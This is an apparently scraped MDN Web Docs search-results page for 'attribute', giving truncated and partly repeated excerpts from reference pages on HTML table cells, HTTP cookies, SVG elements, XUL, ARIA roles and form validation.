attribute contains a non-negative integer value that indicates for how many columns the cell extends. its default value is 1. values higher than 1000 w...
... abbreviated description of the cell's content. some user-agents, such as speech readers, may present this description before the content itself. colspan this
attribute contains a non-negative integer value that indicates for how many columns the cell extends. its default value is 1. values higher than 1000 will be considered as incorrect and will be set to the default value (1). headers this
attribute contains a list of space-separated strings, each corresponding to the id
attribute of the <th> elements that apply to this element. rowspan this
attribute contains a non-negative integer value that indicates for how many rows the cell extends. its default value is 1; if its value is set to 0, it extends until the end of the table section (<thead>, <tbody>, <tfoot>, even if implicitly defined), ...
...And 10 more matches
Using HTTP cookies - HTTP
set-cookie headers with the response. the cookie is usually stored by the browser, and then the cookie is sent with requests made to the same server inside a cookie http header. an expiration date or duration can be specified, after which the cookie is no longer sent. additional restrictions to a specific domain and path can be set, limiting where the cookie is sent. for details about the header
attributes mentioned below, refer to the set-cookie reference article. the set-cookie and cookie headers the set-cookie http response header sends cookies from the server to the user agent. a simple cookie is set like this: set-cookie: <cookie-name>=<cookie-value> this shows the server sending headers to tell the client to store a pair of cookies: http/2.0 200 ok content-type: text/html set-cookie: yu...
...ruby on rails define the lifetime of a cookie the lifetime of a cookie can be defined in two ways: session cookies are deleted when the current session ends. the browser defines when the "current session" ends, and some browsers use session restoring when restarting, which can cause session cookies to last indefinitely long. permanent cookies are deleted at a date specified by the expires
attribute, or after a period of time specified by the max-age
attribute. for example: set-cookie: id=a3fwa; expires=wed, 31 oct 2021 07:28:00 gmt; note: when an expires date is set, the time and date set is relative to the client the cookie is being set on, not the server. if your site authenticates users, it should regenerate and resend session cookies, even ones that already exist, whenever the us...
... authenticates users, it should regenerate and resend session cookies, even ones that already exist, whenever the user authenticates. this technique helps prevent session fixation attacks, where a third party can reuse a user's session. restrict access to cookies there are a couple of ways to ensure that cookies are sent securely and are not accessed by unintended parties or scripts: the secure
attribute and the httponly
attribute. a cookie with the secure
attribute is sent to the server only with an encrypted request over the https protocol, never with unsecured http, and therefore can't easily be accessed by a man-in-the-middle attacker. insecure sites (with http: in the url) can't set cookies with the secure
attribute. however, do not assume that secure prevents all access to sensitive inform...
...And 10 more matches
Content type - SVG: Scalable Vector Graphics
cified in one of two ways. when used in the value of a property in a stylesheet, an <angle> is defined as follows: angle ::= number (~"deg" | ~"grad" | ~"rad")? where deg indicates degrees, grad indicates grads and rad indicates radians. for properties defined in css2, an angle unit identifier must be provided. ...
...mber (~"deg" | ~"grad" | ~"rad")? where deg indicates degrees, grad indicates grads and rad indicates radians. for properties defined in css2, an angle unit identifier must be provided. for angle values in svg-specific properties and their corresponding presentation
attributes, the angle unit identifier is optional. if not provided, the angle value is assumed to be in degrees. in presentation
attributes for all properties, whether defined in svg1.1 or in css2, the angle identifier, if specified, must be in lower case. when angles are used in an svg
attribute, <angle> is instead defined as follows: angle ::= number ("deg" | "grad" | "rad")? the unit identifiers in such <angle> values must be in lower case. in the svg dom, <angle> values are represented using svgangle or svganimatedangle ...
...5 minutes 30s = 30 seconds 5ms = 5 milliseconds 12.467 = 12 seconds and 467 milliseconds fractional values are just (base 10) floating point definitions of seconds. thus: 00.5s = 500 milliseconds 00:00.005 = 5 milliseconds color <color> the basic type <color> is a css2 compatible specification for a color in the srgb color space. <color> applies to svg's use of the color
attribute and is a component of the definitions of
attributes fill, stroke, stop-color, flood-color, and lighting-color, which also offer optional icc-based color specifications. svg supports all of the syntax alternatives for <color> defined in css2 syntax and basic data types, and (depend on the implementation) in the future css color module level 3. a <color> is either a keyword or a numerical rgb s...
...And 10 more matches
<altGlyph> - SVG: Scalable Vector Graphics
the <altglyph> svg element allows sophisticated selection of the glyphs used to render its child character data. usage context categoriestext content element, text content child elementpermitted contentany elements or character data
attributes x this
attribute defines the corresponding absolute x-coordinates for rendering the element. value type: <list-of-coordinates> ; default value: absolute x-coordinate of ancestor <text> or <tspan>; animatable: yes y this
attribute defines the corresponding absolute y-coordinates for rendering the element. value type: <list-of-coordinates> ; default value: absolute y-coordinate of ancestor <text> or <tspan>; animatable: yes dx this
attribute indicates a shift along the x-axis on the position of the element. value type: <list-of-coordinates> ; d...
...responding absolute y-coordinates for rendering the element. value type: <list-of-coordinates> ; default value: absolute y-coordinate of ancestor <text> or <tspan>; animatable: yes dx this
attribute indicates a shift along the x-axis on the position of the element. value type: <list-of-coordinates> ; default value: relative x-coordinate of ancestor <text> or <tspan>; animatable: yes dy this
attribute indicates a shift along the x-axis on the position of the element. value type: <list-of-coordinates> ; default value: relative y-coordinate of ancestor <text> or <tspan>; animatable: yes rotate this
attribute defines the supplemental rotation that will be applied to the element. value type: <list-of-numbers> ; default value: none; animatable: yes (non-additive) glyphref the glyph identifier...
... value type: <string> ; default value: none; animatable: no format the format of the given font. ...
...And 10 more matches
<foreignObject> - SVG: Scalable Vector Graphics
ml namespace could be omitted, but it is mandatory in the context of an svg document --> <div xmlns="http://www.w3.org/1999/xhtml"> lorem ipsum dolor sit amet, consectetur adipiscing elit. sed mollis mollis mi ut ultricies. nullam magna ipsum, porta vel dui convallis, rutrum imperdiet eros. aliquam erat volutpat. </div> </foreignobject> </svg>
attributes height the height of the foreignobject. value type: <length>|<percentage> ; default value: auto; animatable: yes width the width of the foreignobject. value type: <length>|<percentage> ; default value: auto; animatable: yes x the x coordinate of the foreignobject. value type: <length>|<percentage> ; default value: 0; animatable: yes y the y coordinate of the foreignobject. value ty...
...ject. value type: <length>|<percentage> ; default value: auto; animatable: yes x the x coordinate of the foreignobject. value type: <length>|<percentage> ; default value: 0; animatable: yes y the y coordinate of the foreignobject. ...
...e: yes x the x coordinate of the foreignobject. value type: <length>|<percentage> ; default value: 0; animatable: yes y the y coordinate of the foreignobject. value type: <length>|<percentage> ; default value: 0; animatable: yes note: starting with svg2, x, y, width, and height are geometry properties, meaning those
attributes can also be used as css properties for that element. ...
...And 10 more matches
<linearGradient> - SVG: Scalable Vector Graphics
value type: <transform-list> ; default value: identity transform; animatable: yes href this attribu...
...2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg>
attributes gradientunits this
attribute defines the coordinate system for
attributes x1, x2, y1, y2 value type: userspaceonuse|objectboundingbox ; default value: objectboundingbox; animatable: yes gradienttransform this
attribute provides additional transformation to the gradient coordinate system. value type: <transform-list> ; default value: identity transform; animatable: yes href this
attribute defines a reference to another ...
...ngbox; animatable: yes gradienttransform this
attribute provides additional transformation to the gradient coordinate system. value type: <transform-list> ; default value: identity transform; animatable: yes href this
attribute defines a reference to another <lineargradient> element that will be used as a template. value type: <url> ; default value: none; animatable: yes spreadmethod this
attribute indicates how the gradient behaves if it starts or ends inside the bounds of the shape containing the gradient. value type: pad|reflect|repeat ; default value: pad; animatable: yes x1 this
attribute defines the x coordinate of the starting point of the vector gradient along which the linear gradient is drawn. ...
...And 10 more matches
<pattern> - SVG: Scalable Vector Graphics
the <pattern> element defines a graphics object which can be redrawn at repeated x- and y-coordinate intervals ("tiled") to cover an area. the <pattern> is referenced by the fill and/or stroke
attributes on other graphics elements to fill or stroke those elements with the referenced pattern. html,body,svg { height:100% } <svg viewbox="0 0 230 100" xmlns="http://www.w3.org/2000/svg"> <defs> <pattern id="star" viewbox="0,0,10,10" width="10%" height="10%"> <polygon points="0,0 2,5 0,10 5,8 10,10 8,5 10,0 5,2"/> </pattern> </defs> <circle cx="50" cy="50" r="50" fill="url(#star)"/> <circle cx="180" cy="50" r="40" fill="none" stroke-width="20" stroke="url(#star)"/> </svg>
attributes height this
attribute determines the height of the pattern tile. value type: <lengt...
... <polygon points="0,0 2,5 0,10 5,8 10,10 8,5 10,0 5,2"/> </pattern> </defs> <circle cx="50" cy="50" r="50" fill="url(#star)"/> <circle cx="180" cy="50" r="40" fill="none" stroke-width="20" stroke="url(#star)"/> </svg>
attributes height this
attribute determines the height of the pattern tile. value type: <length>|<percentage>; default value: 0; animatable: yes href this
attribute reference a template pattern that provides default values for the <pattern>
attributes. ...
...one" stroke-width="20" stroke="url(#star)"/> </svg>
attributes height this
attribute determines the height of the pattern tile. value type: <length>|<percentage>; default value: 0; animatable: yes href this
attribute reference a template pattern that provides default values for the <pattern>
attributes. value type: <url>; default value: none; animatable: yes patterncontentunits this
attribute defines the coordinate system for the contents of the <pattern>. value type: userspaceonuse|objectboundingbox; default value: userspaceonuse; animatable: yes note: this
attribute has no effect if a viewbox
attribute is specified on the <pattern> element. ...
...And 10 more matches
<svg> - SVG: Scalable Vector Graphics
the svg element is a container that defines a new coordinate system and viewport. it is used as the outermost element of svg documents, but it can also be used to embed an svg fragment inside an svg or html document. note: the xmlns
attribute is only required on the outermost svg element of svg documents. it is unnecessary for inner svg elements or inside html documents. html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg" stroke="red" fill="grey"> <circle cx="50" cy="50" r="40" /> <circle cx="150" cy="50" r="4" /> <svg viewbox="0 0 10 10" x="200" width="100"> <circle cx="5" cy="5" r="4" /> </svg> </svg>
attributes baseprofile deprecated since svg 2 the minimum svg language profile that the document requires. value type: <string>...
...yed x coordinate of the svg container. no effect on outermost svg elements. value type: <length>|<percentage> ; default value: 0; animatable: yes y the displayed y coordinate of the svg container. no effect on outermost svg elements. ...
...rmost svg elements. value type: <length>|<percentage> ; default value: 0; animatable: yes y the displayed y coordinate of the svg container. no effect on outermost svg elements. value type: <length>|<percentage> ; default value: 0; animatable: yes note: starting with svg2, x, y, width, and height are geometry properties, meaning these
attributes can also be used as css properties. ...
...And 10 more matches
Namespaces crash course - SVG: Scalable Vector Graphics
ather unusual looking parameter xmlns:xlink. as you may guess from the first 'xmlns' part, this is another namespace declaration. however, instead of setting the default namespace, this namespace declaration sets the namespace for something called a "namespace prefix". in this case, we have chosen to use the prefix xlink (the second part) since the prefix will be used to tell the user agent about
attributes that belong to xlink. as their name suggests, namespace prefixes are used to prefix parameter and element names. this is done by putting the namespace prefix and a colon before the parameter name as shown on the <script> element in the example above. this tells the user agent that that particular parameter belongs to the namespace assigned to the namespace prefix (xlink), and is a parameter tha...
...e these problems, dom level 2 core added namespace aware equivalents of all the applicable dom level 1 methods. when scripting svg, it is important to use the namespace aware methods. the table below lists the dom1 methods that shouldn't be used in svg, along with their equivalent dom2 counterparts that should be used instead. ...
...om level 2 core added namespace aware equivalents of all the applicable dom level 1 methods. when scripting svg, it is important to use the namespace aware methods. the table below lists the dom1 methods that shouldn't be used in svg, along with their equivalent dom2 counterparts that should be used instead. ...
...And 10 more matches
Using templates and slots - Web Components
only display one bit of text inside it, meaning that at the moment it is even less useful than a regular paragraph! we can make it possible to display different text in each element instance in a nice declarative way using the <slot> element. this has more limited support than <template>, available since chrome 53, opera 40, safari 10, firefox 59, and edge 79. slots are identified by their name
attribute, and allow you to define placeholders in your template that can be filled with any markup fragment you want when the element is used in the markup. so, if we want to add a slot into our trivial example, we could update our template's paragraph element like this: <p><slot name="my-text">my default text</slot></p> if the slot's content isn't defined when the element is included in the markup, or...
...pdate our template's paragraph element like this: <p><slot name="my-text">my default text</slot></p> if the slot's content isn't defined when the element is included in the markup, or if the browser doesn't support slots, <my-paragraph> just contains the fallback content "my default text". to define the slot's content, we include an html structure inside the <my-paragraph> element with a slot
attribute whose value is equal to the name of the slot we want it to fill. as before, this can be anything you like, for example: <my-paragraph> <span slot="my-text">let's have some different text!</span> </my-paragraph> or <my-paragraph> <ul slot="my-text"> <li>let's have some different text!</li> <li>in a list!</li> </ul> </my-paragraph> note: elements that can be inserted into slots ...
...r <my-paragraph> <ul slot="my-text"> <li>let's have some different text!</li> <li>in a list!</li> </ul> </my-paragraph> note: elements that can be inserted into slots are known as slotable; when an element has been inserted in a slot, it is said to be slotted. note: an unnamed <slot> will be filled with all of the custom element's top-level child nodes that do not have the slot
attribute. this includes text nodes. and that's it for our trivial example. if you want to play with it some more, you can find it on github (see it running live also). a more involved example to finish off the article, let's look at something a little less trivial. the following set of code snippets show how to use <slot> together with <template> and some javascript to: create a <element-details> ...
...And 10 more matches
Keyboard Shortcuts - Archive of obsolete content
event handlers to respond to the keyboard. however, it would be tedious to do that for every button and menu item (though it could be necessary when one's key commands are only triggered when the user is focused on a particular element). creating a keyboard shortcut xul provides methods in which you can define keyboard shortcuts. we've already seen in the section on menus that we can define an
attribute called accesskey which specifies the key which a user can press to activate the menu or menu item. in the example below, the file menu can be selected by pressing alt + f together (or some other key combination for a specific platform). once the file menu is open, the close menu item can be selected by pressing c. example 1 : source view <menubar id="sample-menubar"> <menu id="file-menu" labe...
...her key combination for a specific platform). once the file menu is open, the close menu item can be selected by pressing c. example 1 : source view <menubar id="sample-menubar"> <menu id="file-menu" label="file" accesskey="f"> <menupopup id="file-popup"> <menuitem id="close-command" label="close" accesskey="c"/> </menupopup> </menu> </menubar> you can also use the accesskey
attribute on buttons. when the key is pressed in this case, the button is selected. you might want to set up more general keyboard shortcuts however. for example, pressing ctrl + c to copy text to the clipboard. although shortcuts such as this might not always be valid, they will usually work any time the window is open. usually, a keyboard shortcut will be allowed at any time and you can check to see whe...
...ht not always be valid, they will usually work any time the window is open. usually, a keyboard shortcut will be allowed at any time and you can check to see whether it should do something using a script. for example, copying text to the clipboard should only work when some text is selected. key element xul provides an element, key, which lets you define a keyboard shortcut for a window. ...
...And 9 more matches
Skinning XUL Files by Hand - Archive of obsolete content
, for example, gives you control over the absolute positioning of any element within its parent element. also, most of the behavior that buttons exhibit comes from styles and an event model based on javascript that dynamically switches between these styles. mozilla's current global skin defines this basic behavior for several classes of button. a button is styled by the global skin when its class
attribute is set to a class which is defined in the global skin. for example, when a button is defined as follows: <button class="plain" label="push me" /> then the following very simple style definition applies to that button. button.plain { border: 0px !important; } the global skin, in which styles for these several button classes and dozens of other elements are defined, is described in the follow...
...ble xul and css for guidelines on how to make your skins friendly to the global skin, to xul, and to mozilla. stylesheet syntax to familiarize yourself with the global skin, open up the text file called global.css in the chrome/classic.jar!/skin/classic/global directory of the mozilla application. ...
...nes on how to make your skins friendly to the global skin, to xul, and to mozilla. stylesheet syntax to familiarize yourself with the global skin, open up the text file called global.css in the chrome/classic.jar!/skin/classic/global directory of the mozilla application. ...
...And 9 more matches
XBL Example - Archive of obsolete content
="1"> <xul:deck xbl:inherits="selectedindex" selectedindex="0" flex="1"> <children/> </xul:deck> <xul:hbox> <xul:button xbl:inherits="label=previoustext"/> <xul:label flex="1"/> <xul:button xbl:inherits="label=nexttext"/> </xul:hbox> </xul:vbox> </content> </binding> this binding creates the slideshow structure that we want. the flex
attribute has been added to a number of elements so that it stretches in the right way. the label
attributes on the two buttons inherit their values from the bound element. here, they inherit from two custom
attributes, previoustext and nexttext. this makes it easy to change the labels on the buttons. the children of the element that the xbl is bound to will be placed inside the deck. the selectedindex is ...
...show.xml#slideshow"); } the first button, button 1 has been used as the first page of the deck. the label widget has not appeared as no value has been specified for it. we could set a value, but instead it will calculated later. page property next, a property that holds the current page will be added. ...
...ified for it. we could set a value, but instead it will calculated later. page property next, a property that holds the current page will be added. when getting this custom property, it will need to retrieve the value of the selectedindex
attribute of the deck, which holds the number of the currently displayed page. similarly, when setting this property, it will need to change the selectedindex
attribute of the deck. in addition, the text widget will need to be updated to display which page is the current one. <property name="page" onget="return parseint(document.getanonymousnodes(this)[0].childnodes[0].get
attribute('selectedindex'));" onset="return this.setpage(val);"/> the page property gets its value by looking at the first element of the anonymous array. this returns the vertical b...
...And 9 more matches
caption - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a header for a groupbox. it may contain either a text label, using the label
attribute, or child elements for a more complex caption. more information is available in the xul tutorial.
attributes accesskey, crop, image, label, tabindex properties accesskey, crop, image, label, tabindex examples <groupbox> <caption label="my groupbox"/> </groupbox> <groupbox flex="1"> <caption> <checkbox label="a checked groupbox"/> </caption> </groupbox>
attributes accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label
attribute for the element. ...
...an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. ...
..., the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or the maxwidth
attribute) to override this size. for example, for a menuitem in a menu you can add the following css rule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } image type: uri the uri of the image to appear on the element. if this
attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient ...
...And 9 more matches
Using the W3C DOM - Archive of obsolete content
se. using w3c standards means that code will run in compliant browsers with minimal need for cross-browser support, whereas code based on proprietary standards requires much more effort to be compatible with multiple user agents. ...
...n in compliant browsers with minimal need for cross-browser support, whereas code based on proprietary standards requires much more effort to be compatible with multiple user agents. ...
...mal need for cross-browser support, whereas code based on proprietary standards requires much more effort to be compatible with multiple user agents. unsupported dom-related properties the following ie proprietary document object properties are not supported in the w3c document object model: document.layers[] id_
attribute_value document.all document.all.id_
attribute_value document.all[id_
attribute_value] the following form related properties (originally from internet explorer) are not supported in the w3c document object model: formname.inputname.value inputname.value formctrlname document.forms(0) (note: document.forms[0] (using square brackets) uses the dom standard forms collection) scripts that use these properties will throw errors in most standards-compliant browsers. inste...
...And 9 more matches
Index
cit dependencies on jscontext in the finalization code. 109 jsfunction api, guide, jsapi, needscontent, spidermonkey jsfunction is a type in the jsapi. the apis js_newfunction, js_definefunction, js_compilefunction, and their unicode equivalents return values of type jsfunction *. 110 jsfunctionspec jsapi reference, spidermonkey jsfunctionspec defines the
attributes for a single js function to associate with an object. an application typically has an array of jsfunctionspec to define all the functions for an object and calls js_definefunctions or js_initclass to create the functions and assign them to an object. 111 jsgetobjectops jsapi reference, obsolete, spidermonkey jsobjectops is used by js_newobject's internals to discover the set...
... the [[defaultvalue]] method defined in ecma 262-3 §8.6.2.6. many expressions in the ecmascript language, such as a+b, involve implicit conversion of the operands using [[defaultvalue]]. 131 jsobjectops.defineproperty jsapi reference, obsolete, spidermonkey define obj[id], an own property of obj named id, having the given initial value, with the specified getter, setter, and
attributes. 132 jsobjectops.destroyobjectmap jsapi reference, obsolete, spidermonkey no summary! 133 jsobjectops.dropproperty jsapi reference, obsolete, spidermonkey the following contract governs jsobjectops callers and implementations: 134 jsobjectops.enumerate jsapi reference, obsolete, spidermonkey for native objects, the enumerate callback...
...spidermonkey the following contract governs jsobjectops callers and implementations: 134 jsobjectops.enumerate jsapi reference, obsolete, spidermonkey for native objects, the enumerate callback first checks the jsclass_new_enumerate flag of the object's class. if the flag is present, enumerate simply delegates the call to jsclass.enumerate. 135 jsobjectops.get
attributes jsapi reference, obsolete, spidermonkey get or set
attributes of the property obj[id]. returns js_false on error or exception, else js_true with current
attributes in *attrsp. if prop is non-null, it must come from the *propp out parameter of a prior jsobjectops.defineproperty or jsobjectops.lookupproperty call. 136 jsobjectops.getproperty jsapi reference, obsolete, spid...
...And 9 more matches
nsIMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object
attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above //
attribute does not match the type! ...
...omm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object
attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above //
attribute does not match the type! ...
.../ search/ public/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object
attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above //
attribute does not match the type! ...
...And 9 more matches
nsIMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object
attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above //
attribute does not match the type! ...
...omm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object
attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above //
attribute does not match the type! ...
.../ search/ public/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object
attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above //
attribute does not match the type! ...
...And 9 more matches
Examine and edit HTML - Firefox Developer Tools
on what you enter, a full text search, a css selector search, and an xpath search. full text search the full text search will always be executed, independently of what you enter. that allows you to find css selectors and xpath expressions occurring within the text. css selector search you can search elements by entering a css selector. as you type, an autocomplete popup shows any class or id
attributes that match the current search term: press up and down to cycle through suggestions, tab to choose the current suggestion, then enter to select the first node with that
attribute. to cycle through matches, press enter. you can cycle backwards through matches using shift + enter. xpath search it is also possible to search via xpaths. this allows you to search for specific elements without...
...ow root is signified by a node named #shadow-root — you can click its expansion arrow to see the full contents of the shadow dom, and then manipulate the contained nodes in a similar way to other part of the page's dom (although with a limited featureset — you can't, for example, drag and drop or delete shadow dom nodes). ...
... note: shadow dom inspection was implemented in firefox 61, but was hidden behind the dom.webcomponents.shadowdom.enabled pref until firefox 63. it is now turned on by default. ...
...And 9 more matches
ARIA: button role - Accessibility
the button role should be used for clickable elements that trigger a response when activated by the user. adding role="button" will make an element appear as a button control to a screen reader. this role can be used in combination with the aria-pressed
attribute to create toggle buttons. <div id="savechanges" tabindex="0" role="button" aria-pressed="false">save</div> the above example creates a simple button which is first in the focus order, though <button> or <input> with type="button" should be used for buttons: <button id="savechanges">save</button> note: if using role="button" instead of the semantic <button> or <input type="button"> elements, you will need to make the element focusable and have to define event handlers for click and keydown events, including the enter and space keys, i...
... a common convention to inform users a button will launch a dialog is to append "…" (ellipsis) to the button's label, e.g., "save as…". in addition to the ordinary button widget, role="button" should be included when creating a toggle button or menu button using a non button element. a toggle button is a two-state button that can be either off (not pressed) or on (pressed). the aria-pressed
attribute values of true or false identify a button as a toggle button. a menu button is a button that controls a menu and has an aria-haspopup property
attribute set to either menu or true. associated aria roles, states, and properties aria-pressed defines the button as a toggle button. the value of aria-pressed describes the state of the button. the values include aria-pressed="false" when a button ...
...r true. associated aria roles, states, and properties aria-pressed defines the button as a toggle button. the value of aria-pressed describes the state of the button. the values include aria-pressed="false" when a button is not currently pressed, aria-pressed="true" to indicate a button is currently pressed, and aria-pressed="mixed" if the button is considered to be partially pressed. if the
attribute is omitted or set to its default value of aria-pressed="undefined", the element does not support being pressed. aria-expanded if the button controls a grouping of other elements, the aria-expanded state indicates whether the controlled grouping is currently expanded or collapsed. if the button has aria-expanded="false" set, the grouping is not currently expanded; if the button has aria-expande...
...And 9 more matches
Web applications and ARIA FAQ - Accessibility
action? sure. here's the markup for a progress bar widget: <div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" /> this progress bar is built using a <div>, which is not very descriptive. unfortunately, there isn't a more semantic tag available to developers in html 4, so we need to include aria roles and properties. ...
...d="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" /> this progress bar is built using a <div>, which is not very descriptive. unfortunately, there isn't a more semantic tag available to developers in html 4, so we need to include aria roles and properties. these are specified by adding
attributes to the element. ...
...>, which is not very descriptive. unfortunately, there isn't a more semantic tag available to developers in html 4, so we need to include aria roles and properties. these are specified by adding
attributes to the element. in this example, the role="progressbar"
attribute informs the browser that this element is actually a javascript-powered progress bar widget. the aria-valuemin and aria-valuemax
attributes specify the minimum and maximum values for the progress bar, and the aria-valuenow describes the current state of it. along with placing them directly in the markup, aria
attributes can be added to the element and updated dynamically using javascript code like this: // find the progress bar <div> in the dom. var progressbar = document.getelementbyid("percent-loaded"); // set its aria roles an...
...And 9 more matches
Constraint validation - Developer guides
ach field has a valid and coherent value is more difficult, and informing the user about the problem may become a headache. html5 introduced new mechanisms for forms: it added new semantic types for the <input> element and constraint validation to ease the work of checking the form content on the client side. basic, usual constraints can be checked, without the need for javascript, by setting new
attributes; more complex constraints can be tested using the constraint validation api. for a basic introduction to these concepts, with examples, see the form validation tutorial. note: html5 constraint validation doesn't remove the need for validation on the server side. even though far fewer invalid form requests are to be expected, invalid ones can still be sent by non-compliant browsers (for instanc...
... html5 and without javascript) or by bad people trying to trick your web application. therefore, like with html4, you need to also validate input constraints on the server side, in a way that is consistent with what is done on the client side. ...
...nsistent with what is done on the client side. intrinsic and basic constraints in html5, basic constraints are declared in two ways: by choosing the most semantically appropriate value for the type
attribute of the <input> element, e.g., choosing the email type automatically creates a constraint that checks whether the value is a valid e-mail address. by setting values on validation-related
attributes, allowing basic constraints to be described in a simple way, without the need for javascript. semantic input types the intrinsic constraints for the type
attribute are: input type constraint description associated violation <input type="url"> the value must be an absolute url, as defined in the url living standard. typemismatch constraint violation ...
...And 9 more matches
<area> - HTML: Hypertext Markup Language
content categories flow content, phrasing content. permitted content none, it is an empty element. tag omission must have a start tag and must not have an end tag. permitted parents any element that accepts phrasing content. the <area> element must have an ancestor <map>, but it need not be a direct parent. implicit aria role link when href
attribute is present, otherwise no corresponding role permitted aria roles no role permitted dom interface htmlareaelement
attributes this element's
attributes include the global
attributes. alt a text string alternative to display on browsers that do not display images. the text should be phrased so that it presents the user with the same kind of choice as the image wou...
... rect or rectangle: the value is two x,y pairs: left, top, right, bottom. ...
... rect or rectangle: the value is two x,y pairs: left, top, right, bottom. ...
...And 9 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
elow; clicking the date and the time parts of the value bring up two separate pickers for you, so you can easily set both the date and the time. this is somewhat like having date and time widgets both created for you and merged into one. value a domstring representing a date and time (in the local time zone), or empty. events change and input supported common
attributes autocomplete, list, readonly, and step idl
attributes list, value, valueasnumber. methods select(), stepdown(), stepup() value a domstring representing the value of the date entered into the input. the format of the date and time value used by this input type is described in local date and time strings in date and time formats used in html. you can set a defau...
... list, value, valueasnumber. methods select(), stepdown(), stepup() value a domstring representing the value of the date entered into the input. the format of the date and time value used by this input type is described in local date and time strings in date and time formats used in html. ...
...value property, for example: var datecontrol = document.queryselector('input[type="datetime-local"]'); datecontrol.value = '2017-06-01t08:30'; there are several methods provided by javascript's date that can be used to convert numeric date information into a properly-formatted string, or you can do it manually. for example, the date.toisostring() method can be used for this purpose. ...
...And 9 more matches
<select>: The HTML Select element - HTML: Hypertext Markup Language
the html <select> element represents a control that provides a menu of options: the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the above example shows typical <select> usage. ...
...ns: the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the above example shows typical <select> usage. it is given an id
attribute to enable it to be associated with a <label> for accessibility purposes, as well as a name
attribute to represent the name of the associated data point submitted to the server. each menu option is defined by an <option> element nested inside the <select>. each <option> element should have a value
attribute containing the data value to submit to the server when that option is selected. if no value
attribute is included, the value defaults to the text contained inside the element. you can include...
...t the name of the associated data point submitted to the server. each menu option is defined by an <option> element nested inside the <select>. each <option> element should have a value
attribute containing the data value to submit to the server when that option is selected. if no value
attribute is included, the value defaults to the text contained inside the element. you can include a selected
attribute on an <option> element to make it selected by default when the page first loads. the <select> element has some unique
attributes you can use to control it, such as multiple to specify whether multiple options can be selected, and size to specify how many options should be shown at once. it also accepts most of the general form input
attributes such as required, disabled, autofocus, etc. you can...
...And 9 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
f <td> (data cell) and <th> (header cell) elements. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. to provide additional control over how cells fit into (or span across) columns, both <th> and <td> support the colspan
attribute, which lets you specify how many columns wide the cell should be, with the default being 1. similarly, you can use the rowspan
attribute on cells to indicate they should span more than one table row. this can take a little practice to get right when building your tables. we have some examples below, but for more examples and an in-depth tutorial, see the html tables series in our learn web devel...
...the default being 1. similarly, you can use the rowspan
attribute on cells to indicate they should span more than one table row. this can take a little practice to get right when building your tables. we have some examples below, but for more examples and an in-depth tutorial, see the html tables series in our learn web development area, where you'll learn how to use the table elements and their
attributes to get just the right layout and formatting for your tabular data.
attributes this element includes the global
attributes. there are also several deprecated
attributes, which you should avoid but may need to know when reading older code. ...
...they should be avoided. ...
...And 9 more matches
itemprop - HTML: Hypertext Markup Language
the itemprop global
attribute is used to add properties to an item. every html element can have an itemprop
attribute specified, and an itemprop consists of a name-value pair. each name-value pair is called a property, and a group of one or more properties forms an item. property values are either a string or a url and can be associated with a very wide range of elements including <audio>, <embed>, <iframe>, <img>, <link>, <object>, <source> , <track>, and <video>. examples the example below shows the source for a set of elements marked up with itemprop
attributes, followed by a table showing the resulting structured data. html <div itemscope itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born augu...
